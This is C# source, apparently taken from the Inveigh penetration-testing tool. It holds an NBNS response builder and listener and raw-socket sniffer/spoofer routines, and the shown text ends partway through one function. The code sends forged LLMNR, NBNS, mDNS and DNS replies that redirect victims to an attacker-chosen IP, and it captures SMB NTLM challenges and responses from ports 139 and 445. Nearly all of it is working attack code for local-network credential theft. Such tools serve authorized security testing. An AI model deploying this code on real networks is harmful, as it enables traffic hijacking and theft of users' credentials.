public static byte[] GetNBNSResponse(string type, string nbnsTTL, byte[] spooferIPData, byte[] udpSourcePort, byte[] udpPayload)
{
Array.Reverse(udpSourcePort);
byte[] ttlNBNS = BitConverter.GetBytes(Int32.Parse(nbnsTTL));
Array.Reverse(ttlNBNS);
byte[] nbnsTransactionID = new byte[2];
System.Buffer.BlockCopy(udpPayload, 0, nbnsTransactionID, 0, 2);
byte[] nbnsRequestType = new byte[2];
System.Buffer.BlockCopy(udpPayload, 43, nbnsRequestType, 0, 2);
string nbnsQueryType = NBNS.NBNSQueryType(nbnsRequestType);
byte[] nbnsType = new byte[1];
System.Buffer.BlockCopy(udpPayload, 47, nbnsType, 0, 1);
byte[] nbnsRequest = new byte[udpPayload.Length - 20];
System.Buffer.BlockCopy(udpPayload, 13, nbnsRequest, 0, nbnsRequest.Length);
string nbnsRequestHost = NBNS.BytesToNBNSQuery(nbnsRequest);
MemoryStream nbnsMemoryStream = new MemoryStream();
if (String.Equals(type, "sniffer"))
{
nbnsMemoryStream.Write((new byte[2] {
0x00, 0x89
}), 0, 2);
nbnsMemoryStream.Write(udpSourcePort, 0, 2);
nbnsMemoryStream.Write((new byte[2] {
0x00, 0x00
}), 0, 2);
nbnsMemoryStream.Write((new byte[2] {
0x00, 0x00
}), 0, 2);
}
nbnsMemoryStream.Write(nbnsTransactionID, 0, nbnsTransactionID.Length);
nbnsMemoryStream.Write((new byte[11] {
0x85, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x20
}), 0, 11);
nbnsMemoryStream.Write(nbnsRequest, 0, nbnsRequest.Length);
nbnsMemoryStream.Write(nbnsRequestType, 0, 2);
nbnsMemoryStream.Write((new byte[5] {
0x00, 0x00, 0x20, 0x00, 0x01
}), 0, 5);
nbnsMemoryStream.Write(ttlNBNS, 0, 4);
nbnsMemoryStream.Write((new byte[4] {
0x00, 0x06, 0x00, 0x00
}), 0, 4);
nbnsMemoryStream.Write(spooferIPData, 0, spooferIPData.Length);
if (String.Equals(type, "sniffer"))
{
nbnsMemoryStream.Position = 4;
nbnsMemoryStream.Write(Util.IntToByteArray2((int)nbnsMemoryStream.Length), 0, 2);
}
return(nbnsMemoryStream.ToArray());
}
public static void NBNSListener(string IP, string spooferIP, string nbnsTTL, string[] nbnsTypes)
{
byte[] spooferIPData = IPAddress.Parse(spooferIP).GetAddressBytes();
byte[] ttlNBNS = BitConverter.GetBytes(Int32.Parse(nbnsTTL));
Array.Reverse(ttlNBNS);
IPEndPoint nbnsEndpoint = new IPEndPoint(IPAddress.Broadcast, 137);
UdpClient nbnsClient = UDP.UDPListener("NBNS", IPAddress.Any.ToString(), 137, "IPv4");
while (!Program.exitInveigh)
{
try
{
byte[] udpPayload = nbnsClient.Receive(ref nbnsEndpoint);
byte[] nbnsQuestionsAnswerRRs = new byte[4];
System.Buffer.BlockCopy(udpPayload, 4, nbnsQuestionsAnswerRRs, 0, 4);
byte[] nbnsAdditionalRRs = new byte[2];
System.Buffer.BlockCopy(udpPayload, 10, nbnsAdditionalRRs, 0, 2);
if (String.Equals(BitConverter.ToString(nbnsQuestionsAnswerRRs), "00-01-00-00") && !String.Equals(BitConverter.ToString(nbnsAdditionalRRs), "00-01"))
{
string nbnsResponseMessage = "";
byte[] nbnsTransactionID = new byte[2];
System.Buffer.BlockCopy(udpPayload, 0, nbnsTransactionID, 0, 2);
byte[] nbnsRequestType = new byte[2];
System.Buffer.BlockCopy(udpPayload, 43, nbnsRequestType, 0, 2);
string nbnsQueryType = NBNSQueryType(nbnsRequestType);
byte[] nbnsType = new byte[1];
System.Buffer.BlockCopy(udpPayload, 47, nbnsType, 0, 1);
byte[] nbnsRequest = new byte[udpPayload.Length - 20];
System.Buffer.BlockCopy(udpPayload, 13, nbnsRequest, 0, nbnsRequest.Length);
string nbnsRequestHost = BytesToNBNSQuery(nbnsRequest);
IPAddress sourceIPAddress = nbnsEndpoint.Address;
nbnsResponseMessage = Util.CheckRequest(nbnsRequestHost, sourceIPAddress.ToString(), IP.ToString(), "NBNS", nbnsQueryType, nbnsTypes);
if (Program.enabledNBNS && String.Equals(nbnsResponseMessage, "response sent"))
{
if (Array.Exists(nbnsTypes, element => element == nbnsQueryType) && !String.Equals(BitConverter.ToString(nbnsType), "21"))
{
byte[] nbnsResponse = NBNS.GetNBNSResponse("listener", nbnsTTL, spooferIPData, Util.IntToByteArray2(137), udpPayload);
UDP.UDPListenerClient(sourceIPAddress, 137, nbnsClient, nbnsResponse);
nbnsClient = UDP.UDPListener("NBNS", IPAddress.Any.ToString(), 137, "IPv4");
}
else if (String.Equals(BitConverter.ToString(nbnsType), "21"))
{
nbnsResponseMessage = "NBSTAT request";
}
else
{
nbnsResponseMessage = "NBNS type disabled";
}
}
lock (Program.outputList)
{
Program.outputList.Add(String.Format("[+] [{0}] NBNS request for {1}<{2}> from {3} [{4}]", DateTime.Now.ToString("s"), nbnsRequestHost, nbnsQueryType, sourceIPAddress, nbnsResponseMessage));
}
}
}
catch (Exception ex)
{
Program.outputList.Add(String.Format("[-] [{0}] NBNS spoofer error detected - {1}", DateTime.Now.ToString("s"), ex.ToString()));
}
}
}
public static void SnifferSpoofer(string snifferIP, string spooferIP, string dnsTTL, string llmnrTTL, string mdnsTTL, string nbnsTTL, string[] mdnsTypes, string[] nbnsTypes, string[] pcapTCP, string[] pcapUDP)
{
byte[] spooferIPData = IPAddress.Parse(spooferIP).GetAddressBytes();
byte[] byteIn = new byte[4] {
1, 0, 0, 0
};
byte[] byteOut = new byte[4] {
1, 0, 0, 0
};
byte[] byteData = new byte[65534];
Socket snifferSocket;
try
{
snifferSocket = new Socket(AddressFamily.InterNetwork, SocketType.Raw, ProtocolType.IP);
snifferSocket.SetSocketOption(SocketOptionLevel.IP, SocketOptionName.HeaderIncluded, true);
snifferSocket.ReceiveBufferSize = 65534;
IPEndPoint snifferEndPoint = new IPEndPoint(IPAddress.Parse(snifferIP), 0);
snifferSocket.Bind(snifferEndPoint);
snifferSocket.IOControl(IOControlCode.ReceiveAll, byteIn, byteOut);
}
catch
{
lock (Program.outputList)
{
Program.outputList.Add(String.Format("[-] Error starting packet sniffer, check if shell has elevated privilege or set -Elevated N for unprivileged mode.", DateTime.Now.ToString("s")));
}
throw;
}
int packetLength;
string outputPcap = "";
if (Program.enabledPcap)
{
byte[] pcapHeader = new byte[24] {
0xd4, 0xc3, 0xb2, 0xa1, 0x02, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00
};
outputPcap = Path.Combine(Program.argFileOutputDirectory, String.Concat(Program.argFilePrefix, "-Packets.pcap"));
bool existsPcapFile = File.Exists(outputPcap);
pcapFile = new FileStream(outputPcap, FileMode.Append, FileAccess.Write);
if (!existsPcapFile)
{
pcapFile.Write(pcapHeader, 0, pcapHeader.Length);
}
}
while (!Program.exitInveigh)
{
try
{
try
{
packetLength = snifferSocket.Receive(byteData, 0, byteData.Length, SocketFlags.None);
}
catch
{
packetLength = 0;
}
if (packetLength > 0)
{
MemoryStream memoryStream = new MemoryStream(byteData, 0, packetLength);
BinaryReader binaryReader = new BinaryReader(memoryStream);
byte versionHL = binaryReader.ReadByte();
binaryReader.ReadByte();
uint totalLength = Util.DataToUInt16(binaryReader.ReadBytes(2)); //this is 0 with tcp offload
binaryReader.ReadBytes(5);
byte protocolNumber = binaryReader.ReadByte();
binaryReader.ReadBytes(2);
byte[] sourceIP = binaryReader.ReadBytes(4);
IPAddress sourceIPAddress = new IPAddress(sourceIP);
byte[] destinationIP = binaryReader.ReadBytes(4);
IPAddress destinationIPAddress = new IPAddress(destinationIP);
byte headerLength = versionHL;
headerLength <<= 4;
headerLength >>= 4;
headerLength *= 4;
switch (protocolNumber)
{
case 6:
uint tcpSourcePort = Util.DataToUInt16(binaryReader.ReadBytes(2));
uint tcpDestinationPort = Util.DataToUInt16(binaryReader.ReadBytes(2));
binaryReader.ReadBytes(8);
byte tcpHeaderLength = binaryReader.ReadByte();
tcpHeaderLength >>= 4;
tcpHeaderLength *= 4;
byte tcpFlags = binaryReader.ReadByte();
binaryReader.ReadBytes(7);
int tcpPayloadLength = packetLength - (int)headerLength - (int)tcpHeaderLength;
byte[] payloadBytes = binaryReader.ReadBytes(tcpPayloadLength);
string challenge = "";
string session = "";
string tcpSession = sourceIPAddress.ToString() + ":" + Convert.ToString(tcpSourcePort);
string tcpFlagsBinary = Convert.ToString(tcpFlags, 2);
tcpFlagsBinary = tcpFlagsBinary.PadLeft(8, '0');
if (String.Equals(tcpFlagsBinary.Substring(6, 1), "1") && String.Equals(tcpFlagsBinary.Substring(3, 1), "0") && destinationIPAddress.ToString() == snifferIP)
{
lock (Program.outputList)
{
Program.outputList.Add(String.Format("[+] [{0}] TCP({1}) SYN packet received from {2}", DateTime.Now.ToString("s"), tcpDestinationPort, tcpSession));
}
}
switch (tcpDestinationPort)
{
case 139:
if (payloadBytes.Length > 0)
{
SMBConnection(payloadBytes, snifferIP, sourceIPAddress.ToString(), destinationIPAddress.ToString(), Convert.ToString(tcpSourcePort), "139");
}
session = sourceIPAddress.ToString() + ":" + Convert.ToString(tcpSourcePort);
if (Program.smbSessionTable.ContainsKey(session))
{
NTLM.GetNTLMResponse(payloadBytes, sourceIPAddress.ToString(), Convert.ToString(tcpSourcePort), "SMB", "139");
}
break;
case 445:
if (payloadBytes.Length > 0)
{
SMBConnection(payloadBytes, snifferIP, sourceIPAddress.ToString(), destinationIPAddress.ToString(), Convert.ToString(tcpSourcePort), "445");
}
session = sourceIPAddress.ToString() + ":" + Convert.ToString(tcpSourcePort);
if (Program.smbSessionTable.ContainsKey(session))
{
NTLM.GetNTLMResponse(payloadBytes, sourceIPAddress.ToString(), Convert.ToString(tcpSourcePort), "SMB", "445");
}
break;
}
switch (tcpSourcePort)
{
case 139:
if (payloadBytes.Length > 0)
{
challenge = NTLM.GetSMBNTLMChallenge(payloadBytes);
}
session = destinationIPAddress.ToString() + ":" + Convert.ToString(tcpDestinationPort);
if (!string.IsNullOrEmpty(challenge) && destinationIP != sourceIP)
{
if (!String.Equals(destinationIP, snifferIP))
{
lock (Program.outputList)
{
Program.outputList.Add(String.Format("[+] [{0}] SMB({1}) NTLM challenge {2} sent to {3}", DateTime.Now.ToString("s"), tcpSourcePort, challenge, session));
}
}
else
{
lock (Program.outputList)
{
Program.outputList.Add(String.Format("[+] [{0}] SMB({1}) NTLM challenge {2} received from {3}", DateTime.Now.ToString("s"), tcpSourcePort, challenge, session));
}
}
Program.smbSessionTable[session] = challenge;
}
break;
case 445:
if (payloadBytes.Length > 0)
{
challenge = NTLM.GetSMBNTLMChallenge(payloadBytes);
}
session = destinationIPAddress.ToString() + ":" + Convert.ToString(tcpDestinationPort);
if (!string.IsNullOrEmpty(challenge) && destinationIP != sourceIP)
{
if (!String.Equals(destinationIP, snifferIP))
{
lock (Program.outputList)
{
Program.outputList.Add(String.Format("[+] [{0}] SMB({1}) NTLM challenge {2} sent to {3}", DateTime.Now.ToString("s"), tcpSourcePort, challenge, session));
}
}
else
{
lock (Program.outputList)
{
Program.outputList.Add(String.Format("[+] [{0}] SMB({1}) NTLM challenge {2} received from {3}", DateTime.Now.ToString("s"), tcpSourcePort, challenge, session));
}
}
Program.smbSessionTable[session] = challenge;
}
break;
}
if (Program.enabledPcap && (pcapTCP != null && pcapTCP.Length > 0 && (Array.Exists(pcapTCP, element => element == tcpSourcePort.ToString()) ||
Array.Exists(pcapTCP, element => element == tcpDestinationPort.ToString()) || Array.Exists(pcapTCP, element => element == "ALL"))))
{
PcapOutput((uint)packetLength, byteData);
}
break;
case 17:
byte[] udpSourcePort = binaryReader.ReadBytes(2);
uint endpointSourcePort = Util.DataToUInt16(udpSourcePort);
uint udpDestinationPort = Util.DataToUInt16(binaryReader.ReadBytes(2));
uint udpLength = Util.DataToUInt16(binaryReader.ReadBytes(2));
binaryReader.ReadBytes(2);
byte[] udpPayload;
try
{
udpPayload = binaryReader.ReadBytes(((int)udpLength - 2) * 4);
}
catch
{
udpPayload = new byte[2];
}
switch (udpDestinationPort)
{
case 53:
string dnsResponseMessage = "";
Array.Reverse(udpSourcePort);
byte[] ttlDNS = BitConverter.GetBytes(Int32.Parse(dnsTTL));
Array.Reverse(ttlDNS);
byte[] dnsTransactionID = new byte[2];
System.Buffer.BlockCopy(udpPayload, 0, dnsTransactionID, 0, 2);
string dnsRequestHost = Util.ParseNameQuery(12, udpPayload);
byte[] dnsRequest = new byte[dnsRequestHost.Length + 2];
System.Buffer.BlockCopy(udpPayload, 12, dnsRequest, 0, dnsRequest.Length);
int udpResponseLength = dnsRequest.Length + dnsRequest.Length + spooferIP.Length + 27;
string[] dnsRequestSplit = dnsRequestHost.Split('.');
if (dnsRequestSplit != null && dnsRequestSplit.Length > 0)
{
dnsResponseMessage = Util.CheckRequest(dnsRequestSplit[0], sourceIPAddress.ToString(), snifferIP.ToString(), "DNS");
}
if (Program.enabledDNS && String.Equals(dnsResponseMessage, "response sent"))
{
using (MemoryStream ms = new MemoryStream())
{
ms.Write((new byte[2] {
0x00, 0x35
}), 0, 2);
ms.Write(udpSourcePort, 0, 2);
ms.Write(Util.IntToByteArray2(udpResponseLength), 0, 2);
ms.Write((new byte[2] {
0x00, 0x00
}), 0, 2);
ms.Write(dnsTransactionID, 0, dnsTransactionID.Length);
ms.Write((new byte[10] {
0x80, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00
}), 0, 10);
ms.Write(dnsRequest, 0, dnsRequest.Length);
ms.Write((new byte[4] {
0x00, 0x01, 0x00, 0x01
}), 0, 4);
ms.Write(dnsRequest, 0, dnsRequest.Length);
ms.Write((new byte[4] {
0x00, 0x01, 0x00, 0x01
}), 0, 4);
ms.Write(ttlDNS, 0, 4);
ms.Write((new byte[2] {
0x00, 0x04
}), 0, 2);
ms.Write(spooferIPData, 0, spooferIPData.Length);
Socket dnsSendSocket = new Socket(AddressFamily.InterNetwork, SocketType.Raw, ProtocolType.Udp);
dnsSendSocket.SendBufferSize = 1024;
IPEndPoint dnsEndPoint = new IPEndPoint(sourceIPAddress, (int)endpointSourcePort);
dnsSendSocket.SendTo(ms.ToArray(), dnsEndPoint);
dnsSendSocket.Close();
}
}
if (String.Equals(destinationIPAddress.ToString(), snifferIP.ToString()))
{
lock (Program.outputList)
{
Program.outputList.Add(String.Format("[+] [{0}] DNS request for {1} received from {2} [{3}]", DateTime.Now.ToString("s"), dnsRequestHost, sourceIPAddress, dnsResponseMessage));
}
}
else
{
lock (Program.outputList)
{
Program.outputList.Add(String.Format("[+] [{0}] DNS request for {1} sent to {2} [{3}]", DateTime.Now.ToString("s"), dnsRequestHost, destinationIPAddress, "outgoing query"));
}
}
break;
case 137:
byte[] nbnsQuestionsAnswerRRs = new byte[4];
System.Buffer.BlockCopy(udpPayload, 4, nbnsQuestionsAnswerRRs, 0, 4);
byte[] nbnsAdditionalRRs = new byte[2];
System.Buffer.BlockCopy(udpPayload, 10, nbnsAdditionalRRs, 0, 2);
if (BitConverter.ToString(nbnsQuestionsAnswerRRs) == "00-01-00-00" && BitConverter.ToString(nbnsAdditionalRRs) != "00-01")
{
string nbnsResponseMessage = "";
udpLength += 12;
byte[] ttlNBNS = BitConverter.GetBytes(Int32.Parse(nbnsTTL));
Array.Reverse(ttlNBNS);
byte[] nbnsTransactionID = new byte[2];
System.Buffer.BlockCopy(udpPayload, 0, nbnsTransactionID, 0, 2);
byte[] nbnsRequestType = new byte[2];
System.Buffer.BlockCopy(udpPayload, 43, nbnsRequestType, 0, 2);
string nbnsQueryType = NBNS.NBNSQueryType(nbnsRequestType);
byte[] nbnsRequest = new byte[udpPayload.Length - 20];
System.Buffer.BlockCopy(udpPayload, 13, nbnsRequest, 0, nbnsRequest.Length);
string nbnsRequestHost = NBNS.BytesToNBNSQuery(nbnsRequest);
nbnsResponseMessage = Util.CheckRequest(nbnsRequestHost, sourceIPAddress.ToString(), snifferIP.ToString(), "NBNS");
if (Program.enabledNBNS && String.Equals(nbnsResponseMessage, "response sent"))
{
if (Array.Exists(nbnsTypes, element => element == nbnsQueryType))
{
using (MemoryStream ms = new MemoryStream())
{
ms.Write((new byte[2] {
0x00, 0x89
}), 0, 2);
ms.Write((new byte[2] {
0x00, 0x89
}), 0, 2);
ms.Write(Util.IntToByteArray2((int)udpLength), 0, 2);
ms.Write((new byte[2] {
0x00, 0x00
}), 0, 2);
ms.Write(nbnsTransactionID, 0, nbnsTransactionID.Length);
ms.Write((new byte[11] {
0x85, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x20
}), 0, 11);
ms.Write(nbnsRequest, 0, nbnsRequest.Length);
ms.Write(nbnsRequestType, 0, 2);
ms.Write((new byte[5] {
0x00, 0x00, 0x20, 0x00, 0x01
}), 0, 5);
ms.Write(ttlNBNS, 0, 4);
ms.Write((new byte[4] {
0x00, 0x06, 0x00, 0x00
}), 0, 4);
ms.Write(spooferIPData, 0, spooferIPData.Length);
Socket nbnsSendSocket = new Socket(AddressFamily.InterNetwork, SocketType.Raw, ProtocolType.Udp);
nbnsSendSocket.SendBufferSize = 1024;
IPEndPoint nbnsEndPoint = new IPEndPoint(sourceIPAddress, 137);
nbnsSendSocket.SendTo(ms.ToArray(), nbnsEndPoint);
nbnsSendSocket.Close();
}
}
else
{
nbnsResponseMessage = "NBNS type disabled";
}
}
lock (Program.outputList)
{
Program.outputList.Add(String.Format("[+] [{0}] NBNS request for {1}<{2}> received from {3} [{4}]", DateTime.Now.ToString("s"), nbnsRequestHost, nbnsQueryType, sourceIPAddress, nbnsResponseMessage));
}
}
break;
case 5353:
string mdnsResponseMessage = "";
byte[] mdnsType = new byte[2];
if (BitConverter.ToString(udpPayload).EndsWith("-00-01-80-01") && String.Equals(BitConverter.ToString(udpPayload).Substring(12, 23), "00-01-00-00-00-00-00-00"))
{
udpLength += 10;
byte[] ttlMDNS = BitConverter.GetBytes(Int32.Parse(mdnsTTL));
Array.Reverse(ttlMDNS);
byte[] mdnsTransactionID = new byte[2];
string mdnsRequestHostFull = Util.ParseNameQuery(12, udpPayload);
System.Buffer.BlockCopy(udpPayload, 0, mdnsTransactionID, 0, 2);
byte[] mdnsRequest = new byte[mdnsRequestHostFull.Length + 2];
System.Buffer.BlockCopy(udpPayload, 12, mdnsRequest, 0, mdnsRequest.Length);
string[] mdnsRequestSplit = mdnsRequestHostFull.Split('.');
if (mdnsRequestSplit != null && mdnsRequestSplit.Length > 0)
{
mdnsResponseMessage = Util.CheckRequest(mdnsRequestSplit[0], sourceIPAddress.ToString(), snifferIP.ToString(), "MDNS");
}
if (Program.enabledMDNS && String.Equals(mdnsResponseMessage, "response sent"))
{
if (Array.Exists(mdnsTypes, element => element == "QU"))
{
using (MemoryStream ms = new MemoryStream())
{
ms.Write((new byte[2] {
0x14, 0xe9
}), 0, 2);
ms.Write((new byte[2] {
0x14, 0xe9
}), 0, 2);
ms.Write(Util.IntToByteArray2((int)udpLength), 0, 2);
ms.Write((new byte[2] {
0x00, 0x00
}), 0, 2);
ms.Write(mdnsTransactionID, 0, mdnsTransactionID.Length);
ms.Write((new byte[10] {
0x84, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00
}), 0, 10);
ms.Write(mdnsRequest, 0, mdnsRequest.Length);
ms.Write((new byte[4] {
0x00, 0x01, 0x80, 0x01
}), 0, 4);
ms.Write(ttlMDNS, 0, 4);
ms.Write((new byte[2] {
0x00, 0x04
}), 0, 2);
ms.Write(spooferIPData, 0, spooferIPData.Length);
Socket mdnsSendSocket = new Socket(AddressFamily.InterNetwork, SocketType.Raw, ProtocolType.Udp);
mdnsSendSocket.SendBufferSize = 1024;
IPEndPoint mdnsEndPoint = new IPEndPoint(IPAddress.Parse("224.0.0.251"), 5353);
mdnsSendSocket.SendTo(ms.ToArray(), mdnsEndPoint);
mdnsSendSocket.Close();
}
}
else
{
mdnsResponseMessage = "mDNS type disabled";
}
}
lock (Program.outputList)
{
Program.outputList.Add(String.Format("[+] [{0}] mDNS(QU) request for {1} received from {2} [{3}]", DateTime.Now.ToString("s"), mdnsRequestHostFull, sourceIPAddress, mdnsResponseMessage));
}
}
else if (BitConverter.ToString(udpPayload).EndsWith("-00-01") && (String.Equals(BitConverter.ToString(udpPayload).Substring(12, 23), "00-01-00-00-00-00-00-00") ||
String.Equals(BitConverter.ToString(udpPayload).Substring(12, 23), "00-02-00-00-00-00-00-00")))
{
udpLength += 4;
byte[] ttlMDNS = BitConverter.GetBytes(Int32.Parse(mdnsTTL));
Array.Reverse(ttlMDNS);
byte[] mdnsTransactionID = new byte[2];
System.Buffer.BlockCopy(udpPayload, 0, mdnsTransactionID, 0, 2);
string mdnsRequestHostFull = Util.ParseNameQuery(12, udpPayload);
byte[] mdnsRequest = new byte[mdnsRequestHostFull.Length + 2];
System.Buffer.BlockCopy(udpPayload, 12, mdnsRequest, 0, mdnsRequest.Length);
string[] mdnsRequestSplit = mdnsRequestHostFull.Split('.');
if (mdnsRequestSplit != null && mdnsRequestSplit.Length > 0)
{
mdnsResponseMessage = Util.CheckRequest(mdnsRequestSplit[0], sourceIPAddress.ToString(), snifferIP.ToString(), "MDNS");
}
if (Program.enabledMDNS && String.Equals(mdnsResponseMessage, "response sent"))
{
if (Array.Exists(mdnsTypes, element => element == "QM"))
{
using (MemoryStream ms = new MemoryStream())
{
ms.Write((new byte[2] {
0x14, 0xe9
}), 0, 2);
ms.Write((new byte[2] {
0x14, 0xe9
}), 0, 2);
ms.Write(Util.IntToByteArray2((int)udpLength), 0, 2);
ms.Write((new byte[2] {
0x00, 0x00
}), 0, 2);
ms.Write(mdnsTransactionID, 0, mdnsTransactionID.Length);
ms.Write((new byte[10] {
0x84, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00
}), 0, 10);
ms.Write(mdnsRequest, 0, mdnsRequest.Length);
ms.Write((new byte[4] {
0x00, 0x01, 0x80, 0x01
}), 0, 4);
ms.Write(ttlMDNS, 0, 4);
ms.Write((new byte[2] {
0x00, 0x04
}), 0, 2);
ms.Write(spooferIPData, 0, spooferIPData.Length);
Socket mdnsSendSocket = new Socket(AddressFamily.InterNetwork, SocketType.Raw, ProtocolType.Udp);
mdnsSendSocket.SendBufferSize = 1024;
IPEndPoint mdnsEndPoint = new IPEndPoint(IPAddress.Parse("224.0.0.251"), 5353);
mdnsSendSocket.SendTo(ms.ToArray(), mdnsEndPoint);
mdnsSendSocket.Close();
}
}
else
{
mdnsResponseMessage = "mDNS type disabled";
}
}
lock (Program.outputList)
{
Program.outputList.Add(String.Format("[+] [{0}] mDNS(QM) request for {1} received from {2} [{3}]", DateTime.Now.ToString("s"), mdnsRequestHostFull, sourceIPAddress, mdnsResponseMessage));
}
}
break;
case 5355:
string llmnrResponseMessage = "";
byte[] ttlLLMNR = BitConverter.GetBytes(Int32.Parse(llmnrTTL));
Array.Reverse(ttlLLMNR);
byte[] llmnrType = new byte[2];
System.Buffer.BlockCopy(udpPayload, (udpPayload.Length - 4), llmnrType, 0, 2);
if (BitConverter.ToString(llmnrType) != "00-1C")
{
udpLength += (byte)(udpPayload.Length - 2);
Array.Reverse(udpSourcePort);
byte[] llmnrTransactionID = new byte[2];
System.Buffer.BlockCopy(udpPayload, 0, llmnrTransactionID, 0, 2);
byte[] llmnrRequest = new byte[udpPayload.Length - 18];
byte[] llmnrRequestLength = new byte[1];
System.Buffer.BlockCopy(udpPayload, 12, llmnrRequestLength, 0, 1);
System.Buffer.BlockCopy(udpPayload, 13, llmnrRequest, 0, llmnrRequest.Length);
string llmnrRequestHost = System.Text.Encoding.UTF8.GetString(llmnrRequest);
llmnrResponseMessage = Util.CheckRequest(llmnrRequestHost, sourceIPAddress.ToString(), snifferIP.ToString(), "LLMNR");
if (Program.enabledLLMNR && String.Equals(llmnrResponseMessage, "response sent"))
{
using (MemoryStream ms = new MemoryStream())
{
ms.Write((new byte[2] {
0x14, 0xeb
}), 0, 2);
ms.Write(udpSourcePort, 0, 2);
ms.Write(Util.IntToByteArray2((int)udpLength), 0, 2);
ms.Write((new byte[2] {
0x00, 0x00
}), 0, 2);
ms.Write(llmnrTransactionID, 0, llmnrTransactionID.Length);
ms.Write((new byte[10] {
0x80, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00
}), 0, 10);
ms.Write(llmnrRequestLength, 0, 1);
ms.Write(llmnrRequest, 0, llmnrRequest.Length);
ms.Write((new byte[5] {
0x00, 0x00, 0x01, 0x00, 0x01
}), 0, 5);
ms.Write(llmnrRequestLength, 0, 1);
ms.Write(llmnrRequest, 0, llmnrRequest.Length);
ms.Write((new byte[5] {
0x00, 0x00, 0x01, 0x00, 0x01
}), 0, 5);
ms.Write(ttlLLMNR, 0, 4);
ms.Write((new byte[2] {
0x00, 0x04
}), 0, 2);
ms.Write(spooferIPData, 0, spooferIPData.Length);
Socket llmnrSendSocket = new Socket(AddressFamily.InterNetwork, SocketType.Raw, ProtocolType.Udp);
llmnrSendSocket.SendBufferSize = 1024;
IPEndPoint llmnrEndPoint = new IPEndPoint(sourceIPAddress, (int)endpointSourcePort);
llmnrSendSocket.SendTo(ms.ToArray(), llmnrEndPoint);
llmnrSendSocket.Close();
}
}
lock (Program.outputList)
{
Program.outputList.Add(String.Format("[+] [{0}] LLMNR request for {1} received from {2} [{3}]", DateTime.Now.ToString("s"), llmnrRequestHost, sourceIPAddress, llmnrResponseMessage));
}
}
break;
}
if (Program.enabledPcap && (pcapUDP != null && pcapUDP.Length > 0 && (Array.Exists(pcapUDP, element => element == udpSourcePort.ToString()) ||
Array.Exists(pcapUDP, element => element == udpDestinationPort.ToString()) || Array.Exists(pcapUDP, element => element == "ALL"))))
{
PcapOutput((uint)packetLength, byteData);
}
break;
}
}
}
catch (Exception ex)
{
Program.outputList.Add(String.Format("[-] [{0}] Packet sniffing error detected - {1}", DateTime.Now.ToString("s"), ex.ToString()));
}
}
}
public static void SnifferSpoofer(string ipVersion, string snifferIP, string snifferMAC, string spooferIP, string spooferIPv6, string dnsDomainController, string dnsTTL, string llmnrTTL, string mdnsTTL, string nbnsTTL, string[] dnsTypes, string[] mdnsQuestions, string[] mdnsTypes, string[] nbnsTypes, string dhcpv6DomainSuffix, string[] pcapTCP, string[] pcapUDP)
{
byte[] spooferIPData = IPAddress.Parse(spooferIP).GetAddressBytes();
byte[] spooferIPv6Data = IPAddress.Parse(spooferIPv6).GetAddressBytes();
byte[] byteIn = new byte[4] {
1, 0, 0, 0
};
byte[] byteOut = new byte[4] {
1, 0, 0, 0
};
byte[] byteData = new byte[65534];
Socket snifferSocket;
IPEndPoint snifferEndPoint;
EndPoint snifferEndPointRemote;
IPAddress destinationIPAddress = IPAddress.Parse(snifferIP);
int i = 0;
int dhcpv6IPIndex = 1;
Random ipv6Random = new Random();
int ipv6RandomValue = ipv6Random.Next(1, 9999);
byte[] snifferMACArray = new byte[6];
byte[] dhcpv6DomainSuffixData = Util.NewDNSNameArray(dhcpv6DomainSuffix, true);
var ipVersionAddressFamily = AddressFamily.InterNetwork;
if (String.Equals(ipVersion, "IPv6"))
{
snifferEndPointRemote = new IPEndPoint(IPAddress.IPv6Any, 0);
ipVersionAddressFamily = AddressFamily.InterNetworkV6;
snifferMAC = snifferMAC.Insert(2, "-").Insert(5, "-").Insert(8, "-").Insert(11, "-").Insert(14, "-");
foreach (string character in snifferMAC.Split('-'))
{
snifferMACArray[i] = Convert.ToByte(Convert.ToInt16(character, 16));
i++;
}
}
else
{
snifferEndPointRemote = new IPEndPoint(IPAddress.Any, 0);
}
try
{
if (String.Equals(ipVersion, "IPv4"))
{
snifferSocket = new Socket(ipVersionAddressFamily, SocketType.Raw, ProtocolType.IP);
}
else
{
snifferSocket = new Socket(ipVersionAddressFamily, SocketType.Raw, ProtocolType.Udp);
}
snifferEndPoint = new IPEndPoint(IPAddress.Parse(snifferIP), 0);
snifferSocket.SetSocketOption(SocketOptionLevel.IP, SocketOptionName.HeaderIncluded, true);
snifferSocket.ReceiveBufferSize = 65534;
snifferSocket.Bind(snifferEndPoint);
snifferSocket.IOControl(IOControlCode.ReceiveAll, byteIn, byteOut);
}
catch
{
lock (Program.outputList)
{
Program.outputList.Add(String.Format("[-] Error starting packet sniffer, check if shell has elevated privilege or set -Elevated N for unprivileged mode.", DateTime.Now.ToString("s")));
}
throw;
}
int packetLength;
string outputPcap = "";
if (Program.enabledPcap)
{
byte[] pcapHeader = new byte[24] {
0xd4, 0xc3, 0xb2, 0xa1, 0x02, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00
};
outputPcap = Path.Combine(Program.argFileOutputDirectory, String.Concat(Program.argFilePrefix, "-Packets.pcap"));
bool existsPcapFile = File.Exists(outputPcap);
pcapFile = new FileStream(outputPcap, FileMode.Append, FileAccess.Write);
if (!existsPcapFile)
{
pcapFile.Write(pcapHeader, 0, pcapHeader.Length);
}
}
while (!Program.exitInveigh)
{
try
{
try
{
packetLength = snifferSocket.ReceiveFrom(byteData, 0, byteData.Length, SocketFlags.None, ref snifferEndPointRemote);
}
catch
{
packetLength = 0;
}
if (packetLength > 0)
{
MemoryStream memoryStream = new MemoryStream(byteData, 0, packetLength);
BinaryReader binaryReader = new BinaryReader(memoryStream);
IPAddress sourceIPAddress;
int protocolNumber;
byte[] sourceIP = new byte[4];
byte[] destinationIP = new byte[4];
if (String.Equals(ipVersion, "IPv4"))
{
